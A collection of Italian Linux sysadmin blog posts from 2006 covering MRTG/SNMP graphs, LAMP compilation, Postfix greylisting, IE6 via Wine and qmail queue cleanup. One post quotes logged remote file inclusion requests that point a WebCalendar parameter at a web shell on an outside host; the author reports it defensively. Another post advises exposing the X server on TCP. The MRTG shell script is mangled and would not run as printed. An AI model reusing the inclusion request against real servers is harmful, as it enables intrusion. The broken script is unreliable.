MRTG generare grafici monitoraggio del sistema

Questo articolo è stato trato dal sito precedente 

MRTG per generare grafici per il monitoraggio del sistema

Questo HOW-TO spiega brevemente come configurare MRTG per ottenere grafici sia usando script che utilizzando SNMP

Per configurare MRTG è necessario aver installato SNMP & MRTG

Per l’installazione di SNMP i passi sono i seguenti:

#./configure && make && make install

Modificare il file snmpd.conf copiando il file di esempio

#mv /usr/src/pathSNMP/EXAMPLE.conf /usr/local/share/snmp/snmpd.conf

OPZIONALE

#vi /usr/local/share/snmp/snmpd.conf

Modificare le righe attinenti alla community locale

com2sec local localhost public <--modificate con altro nome ad esempio texilee

com2sec local localhost texilee

Verifichiamo il funzionamento lanciando SNMP

#snmpd -c /usr/local/share/snmp/snmpd.conf

#netstat -naup

....
udp 0 0 0.0.0.0:161 0.0.0.0:* 32337/snmpd
....

Possiamo notare che il demone SNMP utilizza la porta 161 UDP

Ora possiamo interrogare SNMP per conoscere tutti i parametri attinenti lo stato del sistema

Il comando è snmpwalk

USAGE: snmpwalk [OPTIONS] AGENT [OID]

#snmpwalk -v 1 -c texilee localhost mem

UCD-SNMP-MIB::memIndex.0 = INTEGER: 0
UCD-SNMP-MIB::memErrorName.0 = STRING: swap
UCD-SNMP-MIB::memTotalSwap.0 = INTEGER: 248968
UCD-SNMP-MIB::memAvailSwap.0 = INTEGER: 159664
UCD-SNMP-MIB::memTotalReal.0 = INTEGER: 126124
UCD-SNMP-MIB::memAvailReal.0 = INTEGER: 3140
UCD-SNMP-MIB::memTotalFree.0 = INTEGER: 162804
UCD-SNMP-MIB::memMinimumSwap.0 = INTEGER: 16000
UCD-SNMP-MIB::memShared.0 = INTEGER: 0
UCD-SNMP-MIB::memBuffer.0 = INTEGER: 2728
UCD-SNMP-MIB::memCached.0 = INTEGER: 61176
UCD-SNMP-MIB::memSwapError.0 = INTEGER: 0
UCD-SNMP-MIB::memSwapErrorMsg.0 = STRING:

Ora proviamo a lanciare free e a fare un paragone

#free

total used free shared buffers cached
Mem: 126124 122684 3440 0 2728 56520
-/+ buffers/cache: 63436 62688
Swap: 248968 89304 159664

Per l’installazione di MRTG vi rimando nuovamente qui.

Brevemente i passi sono questi (requisiti GCC Perl Gd libpng & zlib)

./configure –prefix=/usr/local/mrtg && make && make install

I comandi che useremo sono

cfgmaker mrtg indexmaker

e si trovano in /usr/local/mrtg/bin

Per cominciare dovremo creare il file di configurazione (che genera automaticamente la parte riguardante il traffico di rete)

cfgmaker –global WorkDir: /www/htdocs/mrtg’ <- una dir leggibile dal vostro webserver
--global Options[_]: bits,growright'
--output /usr/local/mrtg/bin/mrtg.cfg
texilee@localhost <- dovete specificare la community

modificheremo il file di configurazione per permettere a MRTG di essere eseguito come demone

#vi /usr/local/mrtg/bin/mrtg.cfg

Aggiugeremo la riga

RunAsDaemon: yes

lo eseguiamo

#cd /usr/local/mrtg/bin/
#mrtg mrtg.cfg --logging=/var/log/mrtg

--logging=/var/log/mrtg salva gli avvisi, warning e errori di mrtg in un file e non sullo standard output ;)

diamo uno sguardo ai file creati dal demone

#ls -la /www/htdocs/mrtg/*.html

apriamo il file creato e ogni 5 minuti vedremo il grafico aggiornarsi

Ora monitorizzeremo più aspetti dello stato del nostro PC
MTRG permette di monitorare qualsiasi valore purchè intero (per i reali dovremmo utilizzare le RRD-tool) ed è abbastanza facile da utilizzare

I parametri monitorati(o monitorizzati ?? w l'italiano!) principalmente sono lo stato della memoria, della cpu, dei processi attivi , delle connessioni stabilite, della % di spazio su disco utilizzato, con il numero di porte aperte.. le implementazioni sono infinite.. ho visto monitorare l'attività della tastiera e del mouse..

#vi /usr/local/mrtg/bin/mrtg.cfg

....

Target[texilee.tcpopen]:.1.3.6.1.2.1.6.9.0&.1.3.6.1.2.1.6.9.0:texilee@localhost
RouterUptime[texilee.tcpopen]: texilee@localhost
Options[texilee.tcpopen]: nopercent,gauge,noinfo
Title[texilee.tcpopen]: Connessioni TCP stabilite
PageTop[texilee.tcpopen]: Connessioni TCP stabilite
MaxBytes[texilee.tcpopen]: 1000000
YLegend[texilee.tcpopen]: # conns
ShortLegend[texilee.tcpopen]:
LegendI[texilee.tcpopen]: Connessioni:
LegendO[texilee.tcpopen]:
Legend1[texilee.tcpopen]: Connessioni TCP stabilite

Il Target ovviamente indica cosa verrà monitorizzato seguito dalla community

Target[texilee.tcpopen]:.1.3.6.1.2.1.6.9.0&.1.3.6.1.2.1.6.9.0:tex@localhost

OID = .1.3.6.1.2.1.6.9.0 indica l'object id che monitorizza le connessioni stabilite

naturalmente questo valore intero può essere ricavato anche utilizzando snmpwalk

snmpwalk -v 1 -c texilee localhost tcp|grep CurrEst

TCP-MIB::tcpCurrEstab.0 = Gauge32: 2 <-- numero connessioni

Possiamo trovare numerosi esempi qui

Ogni OID ha il suo corrispettivo nome “variabile” e ricordando che mrtg ha bisogno solamente di un intero per genereare grafici abbiamo 3 strade per passare un valore

nome = tcpCurrEstab
oid = .1.3.6.1.2.1.6.9.0

oppure, senza l’ausilio di snmp, con degli script.

ad esempio possiamo conoscere il numero delle connessioni stabilite tramite un semplice

#netstat -nat|grep ESTA|wc -l

creiamo uno script adatto al nostro scopo

#!/bin/sh
netstat=”/bin/netstat”
grep=”/bin/grep”
wc=”/usr/bin/wc”
conns=echo -nat| ESTA| -l
echo

salviamolo e diamogli i permessi di exe

#chmod +x script_conns

ora basterà semplicemente modificare la riga del target

Target[texilee.tcpopen]: `/pathscript/script_conns`

Potete trovare file di configurazione e qualche script qui

Ultima cosa la creazione della pagina index

#cd /usr/local/mrtg/bin
#./indexmaker mrtg.cfg > /www/htdocs/mrtg/index.html

Ogni volta che inseriremo nuovi target dovremmo ripetere l’operazione. La creazione della index può essere effettuata anche durante l’esecuzione del demone.

E’ possibile monitorare l’attività di Squid. Il MIB file lo potete trovare nel pacchetto Squid (mib.txt).
Per consentire la comunicazione snmp dovete aggiungere nel file squid.conf

acl snmppublic snmp_community public
snmp_port 3401
snmp_access allow snmppublic all

dove snmp_community è quella che avete settato (di default public) e ogni nome acl può andare bene

Nel file di configurazione di MRTG aggiungere

LoadMIBS: /usr/local/mrtg-2/mibs/squid.mib

Posted in Linux at September 30th, 2006. No Comments.

How TO Compilare installare LAMP

Il seguente articolo è tratto dal vecchio sito
Questo articolo cerca di spiegare ai n00b (di cui ne faccio parte) come compilare e installare apache 2 + php + mysql su sistemi Linux partendo dai src.

Questa configurazione (apache 2 + php) è ancora in fase sperimentale quindi potrà subire modifiche nel corso del tempo.

Le vie conosciute fino alla versione 1.3.xx di apache sono due:

-shared module
-static module

Utilizzeremo la prima strada: php viene caricato come modulo dal web server e non direttamente integrato in apache.

Sicuramente il sistema sarà leggermente più lento nel processare codice php ma la grande comodità rimarrà la possibilità di aggiornare php senza dover necessariamente ricompilare apache.

Requisiti
* Una linux box
* PHP src disponibili presso http://www.php.net/
* Apache 2 src disponibili presso http://www.apache.org
* Ansi C (Gnu C) compilatore e altri tool necessari come make, bison ecc. Di solito sono inclusi nelle varie distribuzioni. Potete verificare la presenza lanciando da shell make o gcc. Se nn verrà trovato alcun file visitate http://www.gnu.org.
* Un programma com TAR per estrarre il contenuto dei src ;)

Prima di cominciare…
Rimuovete tutte le versioni installate di apache e php. Prima di rimuoverle stoppate il websrv!
Ora scaricate apache e php dai siti ufficiali o da mirror… le versioni da me utilizzate sono al momento (maggio 2004)

-httpd-2.0.48.tar.gz
-php-4.3.6.tar.gz
-mysql-standard-4.0.18-pc-linux-i686.tar.gz

Posizionate i src in /usr/src o dove vi siete abituati

–Installazione mysql
E’ sicuramente la parte più semplice che affronterò: estraete il pacchetto e spostatelo su /usr/local dopodichè seguire i semplici comandi che si possono trovare sul file INSTALL (da distro a distro può variare qualcosina)

shell> groupadd mysql
shell> useradd -g mysql mysql
shell> cd /usr/local
shell> gunzip < /path/to/mysql-VERSION-OS.tar.gz | tar xvf -
shell> ln -s full-path-to-mysql-VERSION-OS mysql
shell> cd mysql
shell> scripts/mysql_install_db
shell> chown -R root .
shell> chown -R mysql data
shell> chgrp -R mysql .
shell> bin/mysqld_safe –user=mysql &

Se nn abbiamo ricevuto nessun msg di errore verifichiamo che il servizio sia attivo facendo

#netstat -nat

controllando che la porta 3306 tcp sia in ascolto.

Passiamo ad apache

Come ho accennato prima compileremo php come modulo dinamico (o condiviso = shared).
Il codice oggetto php non verrà incluso nel binario httpd e potremo, modificando una riga, abilitarlo o meno nella nostra configurazione finale.

# cd /usr/src

# tar zxvf httpd-2.0.48.tar.gz

Posizioniamoci sulla dir

# cd /usr/src/httpd-2.0.48

Ora possiamo configurare apache per la compilazione

Quasi ogni software che necessita una compilazione contiene uno script “configure” che controlla la presenza dei compilatori necessari per l’installazione, le librerie, ci permette di passare dei parametri quali la dir di destinazione, se abilitare o meno determinate opzioni ec..ec..

# ./configure –help

Ci offrirà la lista completa delle opzioni che possiamo specificare, normalmente iniziano con “–with-***” o “–enable-***”

# ./configure –prefix=/www –enable-so

La prima opzione specifica la dir di destinazione nella quale verrà installato il web server, potete scegliere a seconda delle vostre preferenze, se omesso la dir di default è /usr/local/apache2.
Quando una nuova versione di php o apache viene rilasciata mi basterà rinominare /www in /www_old e installare la nuova versione nuovamente su /www.
Se l’installazione non presenta problemi mi basterà copiare i file di configurazione dalla dir /www_old alla solita /www. Altro motivo è la possibilità di disinstallare completamente php e apache con un semplice

#rm -rf /www

La seconda opzione –enable-so abilita il modulo so, permettendo ad apache di caricare i moduli dinamici. Abilitiamo questa opzione poichè php verrà compilato come modulo dinamico.

Ora possiamo compilare con il comando make. make legge il contenuto del file Makefile (target) ed esegue le istruzioni
in esso contenute. Dopodichè tiene traccia delle modifiche apportate e delle dipendenze fra i vari file, ricompilando il codice soltanto quanto necessario. Risulta utilissimo in fase di sviluppo e testing

# make

infine installiamo

# make install

apache è installato su /www . Posizioniamoci su /wwww/bin e avviamo il server

# ./apachectl start

Se nn ci sono errori possiamo collegarci col browser e visualizzare la pagina di documentazione di default

# lynx http://localhost

Per stoppare il server

# ./apachectl stop

Installazione php

Posizioniamoci sulla dir src di php

# cd /usr/src

Estrarre i src

# tar -zxvf php-4.3.6.tar.gz

# cd /usr/src/php-4.3.6

Anche per php le opzioni che possiamo utilizzare sono tantissime. Permetteranno di abilitare l’utilizzo di DB.. di particolari estensioni…ecc..ec… Potete trovare una lista con il comando

# ./configure –help

Le estensioni non sono tutte integrate nel core php ma vanno abilitate a mano. Ad esempio per la creazione di immagini possiamo istruire php con l’opzione –with-gd, per funzionare le librerie gd devono essere installate. Se i parametri inseriti il sistema risponderà con un messaggio di errore. Soprattuto le prime volte non è consigliabile utilizzare estensioni non indispensabili

Per compilare php come modulo condiviso dobbiamo fornire il percorso dell’utility apxs, contenuta su /www/bin

Posizioniamoci sulla dir dei src di php e lanciamo

# ./configure –prefix=/www/php –with-apxs2=/www/bin/apxs –with-config-file-path=/www/php –with-mysql

La prima opzione specifica la dir di destinazione di php, se omessa quella di def è /usr/local

La seconda opzione –with-apxs2 specifica che vogliamo installare php come modulo condiviso di apache

La terza opzione –with-config-file-path specifica che php dovrà andare a recuperare il file php.ini nella dir

/www/php. Il file php.ini contiene numerosi parametri quali il sever smtp per la posta.. il tempo massimo di esecuzione degli script ecc…ec…

La quarta opzione –with-mysql abilita il supporto all’accesso a datebase mysql. Se non si vuole utilizzare mysql si può eliminare questo parametro. Se la dir di mysql non è /usr/local/mysql potete inserire il percorso dopo l’opzione

–with-mysql=/dir/mysql

Compiliamo php (stoppiamo il server httpd se nn l’abbiamo ancora fatto) e installiamo php

# make

# /www/bin/apachectl stop

# make install

make install installerà nella dir /www/modules il modulo php che dovremo richiamare da apache e inserirà nel file di configurazione di apache (/www/conf/httpd.conf) questa linea

LoadModule php4_module modules/libphp4.so

Se non è stata inserita fatelo voi a mano mettendola sotto la sezione”Dynamic Shared Object (DSO) Support”.

Inseriremo un’altra linea nel file di configurazione in modo che apache, ogni volta che viene richiesta una pagina contenente tag php, restituirà sotto forma codice html al client richiedente il codice processato dal parser php.

La linea da aggiugnere è:

AddType application/x-httpd-php .php

Inseritela dove trovate

AddType application/x-tar .tgz

Per testare il tutto seguite questi comandi che nn fanno altro che creare una pagina php e visualizzarla

# cd /www/bin
# ./apachectl start
# cd ../htdocs
# echo “”>index.php
# lynx localhost/index.php

Non ci rimane che copiare il file php.ini dalla dir dei src

# cp /usr/src/php-4.3.6/php.ini-dist /www/php/php.ini

e riavviare il server

# /www/bin/apachectl restart

Posted in Linux at September 30th, 2006. No Comments.

Graylist Slackware Postfix

Aggiornando un sistema di posta postfix antispam/virus ho ricevuto il benestare per integrare un nuovo sistema anti ube.

A differenza dei soliti sistemi come il parsing del messaggio o l’appoggio alle blacklist ho introdotto graylist, tool che obbliga mx di destinazione a rispondere con un errore 450. A grandi linee una risp 2xx significa OK, un errore 4xx indica un erroe temporaneo (riprova più tardi) ed infine un errore 5xx indica che è definitivo.

Un utente@gmail.com manda una mail a utente@texilee.it, mx di texilee.it equipaggiato di greylist risponde

reject: RCPT from nf-out-0910.google.com[64.233.182.186]: 450 4.7.1 : Recipient address rejected: Greylisted, see http://isg.ee.ethz.ch/tools/postgrey/help/texilee.it.html

Il server di google riceverà il 450 e rimetterà in coda la email. Sul nostro server utilizzando 3 valori identificativi del messaggio graylist aggiornerà il suo db. I 3 valori sono [IP/HOST]/[Sender]/[Recipient]

[IP/HOST]= l’indirizzo IP o la rete assumendo una classe C

Per visualizzarlo

cd /var/spool/postfix/postgrey && strings  postgrey.db

86.108.72.0/croftw@msn.com/utente@texilee.it 1159096270,1159096270,4 86.108.72.0/aahafeez@gmail.com/utente@texilee.it 1159096185,1159096185,4 86.108.72.0/almostparadise@sbcglobal.net/utente@texilee.it 1159096126,1159096126,4 86.108.72.0/helpdesk@1000trails.com/utente@texilee.it 1159096055,1159096055,4 86.108.72.0/comer@greyeu.com/utente@texilee.it 1159095971,1159095971,4 86.108.72.0/cazyandwinston@0800dial.com/utente@texilee.it 1159095919,1159095919,4 86.108.72.0/censing@greyeu.com/utente@texilee.it 1159095851,1159095851,4 86.108.72.0/cmanz@washington.edu/utente@texilee.it 1159095798,1159095798,4 86.108.72.0/conger@dietsmann.com/utente@texilee.it 1159093983,1159094397>

Una macchina con indirizzo ip 86.108.72.[1|254] sta tranquillamente cercando di spammare la casella utente@texilee.it. Deduzione semplice giudicando i senders…

Spamassassin spero sia pronto a ricevere questa immondizia, cbl.abuseat.org dsbl.org e le altre rbl non mi hanno aiutato in questo caso.

Graylist si intromette nella conversazione smptd e risponde “riprova più tardi” al presunto server mittente. Normalmente un server come già accennato prima riaccoda semplicemente la mail, segue i meccanismi di gestione della coda implementati nel mta e riproverà per n giorni a consegnarla. I motori smtp degli spammer sono scritti per essere rapidi, se una consegna non va a buon fine non è assolutamente un problema e passano al successivo della lista( magari leggendosi la rubrica di outlook )

In pratica non sono istruiti alla gestione delle code (per quanto tempo ancora!!??!!) e difficilmente attenderanno il lasso di tempo che specificheremo nella cfg. per riconsegnarla. In conclusione stiamo aggiungendo un altro filtro (frutto di una diversa tecnica) che relativamente creerà ritardi nella ricezione.

Per installare e configurare greylist assicuriamoci di avere un postfix recente, altrimenti scaricate l’ultimo versione dal sito di postfix e scompattate, fate un backup della vostra configurazione e procedete con

$make
#make upgrade

Scaricate graylist e leggete la documentazione Necessita di

* Perl (version ≥ 5.6.0)
* Net::Server
* IO::Multiplex
* BerkeleyDB (Perl module)
* Berkeley DB (Library, version ≥ 4.1)

Sul suddetto server mancava il modulo IO::Multiplex, via cpan l’ho scaricato e installato

$perl Makefile.PL
#make && make install

Modifiche sul main.cf

#smtpd_recipient_restrictions = check_policy_service [unix|inet]:127.0.0.1:port
smtpd_recipient_restrictions = check_policy_service inet:127.0.0.1:61000

In questo esempio ipotizziamo di lanciare graylist sulla stessa macchina sulla porta 61000 e di lanciare manualmente postgrey con le opzioni “base” (è possibile delegare il controllo a postfix via master.cf )

#/home/texilee/postgrey-1.27/postgrey
--inet=127.0.0.1:61000
--user=nobody
--delay=300
--daemonize

Possiamo vedere all’opera graylist

Sep 24 14:00:29 to-inter postfix/smtpd[22312]: connect from unknown[81.213.141.37] Sep 24 14:00:34 to-inter postfix/smtpd[22312]: NOQUEUE: reject: RCPT from unknown[81.213.141.37]: 450 4.7.1 : Recipient address rejected: Greylisted, see http://isg.ee.ethz.ch/tools/postgrey/help/texilee.it.html;

La mail di aaaaaabbsy@mattel.com non è stata accettata, se il presunto mail server riproverà il delivery dopo 5 minuti verrà accettata

Posted in Linux at September 24th, 2006. No Comments.

Install Internet Explorer 6 Flash 9 Debian Sarge

Install Internet Explorer 6 Flash 9 Debian Sarge

You need wine and cabextract

First add to /etc/apt/sources.list

#deb http://www.backports.org/debian sarge-backports main

Now install cabextract

#apt-get install cabextract

and wine from backports

#apt-get install wine-utils wine -t sarge-backports

create a link to wineserver

ln -s /usr/lib/wine/wineserver /usr/bin/wineserver

Look if X server is listening at port tcp 6000

$netstat -natp|grep :6000
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 2192/X

Otherwise edit desktop manager conf file (gdm.conf)

copy/paste this line

DisallowTCP=true

and allow TCP ( add some iptables rules!!)

#DisallowTCP=true
DisallowTCP=false

restart X

Now we can download the installer script from tatanka.com.br

$wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-2.0.3.tar.gz
$tar zxvf ies4linux-2.0.3.tar.gz
$cd ies4linux-2.0.3
$./ies4linux

IE 6 will be installed automatically, you can choose to install IE 5.5 & IE 5.0 [SP2].

Available languages:
EN-US PT-BR DE FR ES IT NL SV JA KO NO
DA CN TW FI PL HU AR HE CS PT RU EL TR

Flash player 9 plugin will also installed.

run IE

$ ~/bin/ie6

or 2xclick desktop icon

what about IE7 ? read this

Posted in Internet, Linux, Windows at September 22nd, 2006. No Comments.

Download giochi linux maxi elenco con link

Una lista di più di 250 giochi per linux con la possibilità di impostare filtri per genere, licenza, produttore…

http://www.icculus.org/lgfaq/gamelist.php 

Posted in Linux at September 17th, 2006. No Comments.

Installare Firefox 1.5 su Debian Sarge

Installare Firefox 1.5 su Debian Sarge

Editare il file /etc/apt/sources.list

deb http://www.backports.org/debian sarge-backports main

Ricaricare la lista dei pacchetti

apt-get update

Installare via backports Firefox 1.5 su Sarge

apt-get install firefox -t sarge-backports

Fatto. Possiamo utilizzare le estensioni della versione 1.5

Posted in Linux at September 15th, 2006. No Comments.

Buona azione di oggi

Oggi fra i soliti tentativi di attacco via remote file inclusion trovati sul server  mi è saltato all’occhio quello proveniente da un IP americano 72.29.76.125 che tentava di sfruttare il celeberrimo “buco” di webcalendar

Sep 12 07:15:16 fw1 pound: texilee.gruppoinfo.it 72.29.76.125 – - [12/Sep/2006:07:15:14 +0200] “GET /category//tools/send_reminders.php?includedir=http://www.samasgildae.it/screen/shot/r.txt? HTTP/1.1″ 404 3374 “” “libwww-perl/5.805″
Sep 12 07:15:26 fw1 pound: texilee.gruppoinfo.it 72.29.76.125 – - [12/Sep/2006:07:15:25 +0200] “GET /category//tools/send_reminders.php?includedir=http://www.samasgildae.it/screen/shot/r.txt? HTTP/1.1″ 404 3374 “” “libwww-perl/5.805″
Ci sono abituato e non me ne preoccupo (poi webcalendar non è nemmeno installato su questo server) , ma mi dispiace vedere che i portatori del malware abbiano sfruttato una macchina con dominio italiano per farlo. Ho pensato di contattare samasgildae.it per avvertirli, ecco il testo della mail:
” ciao, ho trovato la tua mail sul forum

http://www.samasgildae.it/forum/index.php

da stamattina  uno stupido script lanciato sull host 72.29.76.125  cerca di sfruttare un baco nella web apps “web calendar” (che nemmeno ho installato…. ) cercando di iniettarmi un altrettanto stupido script perl

72.29.76.125 – - [12/Sep/2006:07:15:55 +0200] “GET /category//tools/send_reminders.php?includedir=http://www.samasgildae.it/screen/shot/r.txt? HTTP/1.1″ 404 3374 “” “libwww-perl/5.805″

questo è parte del log del reverse proxy in stile “apache”

quello che ti chiedo è di eliminare il file

http://www.samasgildae.it/screen/shot/r.txt

grazie e ciao  ”

Il file r.txt contiene tutto l’occorrente per amministrare la macchina, connettersi ad un dbms, spedire spam. Ottimo lavoro 1dt.w0lf

/*  (c)oded by 1dt.w0lf
/*  RST/GHC http://rst.void.ru , http://ghc.ru
/*  ANY MODIFIED REPUBLISHING IS RESTRICTED
Posted in Linux at September 12th, 2006. No Comments.

qmail guide e howto smtp tls ssl

  1. Limiting message sizes qmail will accept
    You will want to create a create a /var/qmail/control/databytes file and then within the file specif…
  2. How do I correctly view log files with timestamps?
    Use this:tai64nlocal < /var/log/qmail/qmail-send/currentfor more about multilog please take a loo...
  3. Setting up SMTP with TLS
    Copied with permission from:John Simpson http://qmail.jms1.net/ This service only accepts mail …
  4. Setting up SMTP with SSL
    Copied with permission from:John Simpson http://qmail.jms1.net/ Install ucspi-ssl First!If you …
  5. Disabling Reverse DNS Lookups
    From http://www.qmailrocks.org/faq/?category=qmail#59How can I disable qmail from conducting reverse…
  6. Signal 11
    If you start seeing Status 11 errors to pop up in qmail-smtpd whenever a message came in from a…
  7. Qmail-Remove 0.95
    Updated 10-18-05!Stolen from http://www.linuxmagic.com/opensource/qmail/qmail-remove/Qmail-Remove wi…
  8. Uninstalling qmailrocks
    uninstalling qmr from your linux box:qmailctl stopsvc -u /service/qmail-pop3dsvc -u /service/qmail-s…
  9. Configuring POP3D-SSL
    This HOWTO covers the configuration of Courier pop3d with SSL. This HOWTO assumes you have installed…
  10. Unable to Write Pipe
    SMTP Daemon Cannot Start in solaris Change in run scritps QMAILDUID=`/usr/bin/id -u qmaild` NOFILESG…
  11. Setting up a default domain
    Modify /var/qmail/control/defaultdomain and /home/vpopmail/etc/defaultdomain to specify your default…
  12. Applying the chkuser2 patch to a qmr install
    Tested successfully on Suse 9.0 & FreeBSD 5.xPlease note applying this patch will break TLS :-( c…
  13. How to blacklist domains
    The file “/var/qmail/control/badmailfrom” is used by qmail-smtpd to reject certain email addresses o…
  14. How to create a secondary qmail server
    I used “life with qmail” install with only the part qmail-smtp -> qmail-send + supervise. All you…
  15. Why don’t I see images when I use qmailadmin
    Please consult http://www.qmailrocks.org/start.php for more information specific to your OS.Most rea…
  16. Getting qmailstats to show daily stats only
    For those that are interested, I’ve found making the following changesworks well. Since qmailr…
  17. How to disable bounces and double-bounces
    Login as postmaster for your domain and click the set catchall deleted at thebottom of the email acc…
  18. How to install the qmail manpages
    To add the qmail manpages, edit the following files:For Bash (/etc/profile)MANPATH=/var/qmail/bin:$M…
  19. How to use rcpthosts and locals
    rcpthosts – domains that we accept mail for – mostly used for vpopmail virtual domains /home/vpopmai…
  20. Using POP before SMTP
    Just skip the jsauth smtp patch and compile vpopmail with: ./configure –enable-roaming-users …
  21. Configuring RBLDNS
    For purposes of this HOWTO, rbl.example.com is the RBL serving addresses to be blocked andwhitelist….
  22. SMTP to Smarthosts
    cd /usr/src/qmail/qmail-1.03patch -p0 < qmail-remote-auth-qmr.patchpatch -p0 < makefile-remote...
  23. Clearing, or timestamping the readproctitle service errors buffer
    Have you ever looked at the output of ps axwww (on Linux for example) andwondered what the rea…
Posted in Linux, Qmail-Postfix at September 8th, 2006. No Comments.

qmail eliminare mail in coda per singolo utente qmHandle

Sabato vengo svegliato da una telefonata che pressapoco dice: “Abbiamo i cazzi, ci stanno attaccando , mail bombing in corso”.

Mi alzo e mi collego al server e do un qmail-qstat
messages in queue: 104087
messages in queue but not yet preprocessed: 0

Una rapida lettura ai log e scopro che in 2 ore sono partite 250000 email da parte di un ip ita verso indirizzi

a@dominio.it , b@dominio.it, [....] , aaab@dominio.it , aaac@dominio.it

tutti utenti non esistenti (niente validrcptto o patch similari su server) che determinano la generazione di un msg di bounce verso un indirizzo aim.com (AOL)

Se all’inizio aol prendeva in pasto i failure notice dopo quache msg ha iniziato a rispondere con un err 421 (l’utente ha segnalato come spam i msg provenienti da questo ip ed è stato bloccato) e la coda rimaneva inalterata

Soluzione: qmHandle

qmHandle permette di cancellare o visualizzare le mail in coda. Un’ottima peculiarità dello script è l’eliminazione per oggetto (in questo caso failure notice). Manca invece la possibilità di eliminare i messaggi per mittente o destinatario, ci viene in aiuto qmHandle patchato

http://www.fearthecow.net/guest/qmhandle

nel mio caso è bastato un

./qmHandle -tt massacratodabounce@aim.com

dopo aver stoppato qmail ovviamente. Questo script perl modificato permette di eliminare i messaggi anche per mittente.

Posted in Linux, Qmail-Postfix at August 28th, 2006. No Comments.

tcpdump tranne il nostro ip

per sniffare traffico su una macchina remota (via ssh) è opportuno escludere dai risultati il nostro IP

tcpdump -n -i eth1 not host 62.23.23.23

eth1 corrisponde al segmento dal quale attingete pacchetti, 62.23.23.23 è il vostro IP remoto

Posted in Linux, Tips at August 24th, 2006. No Comments.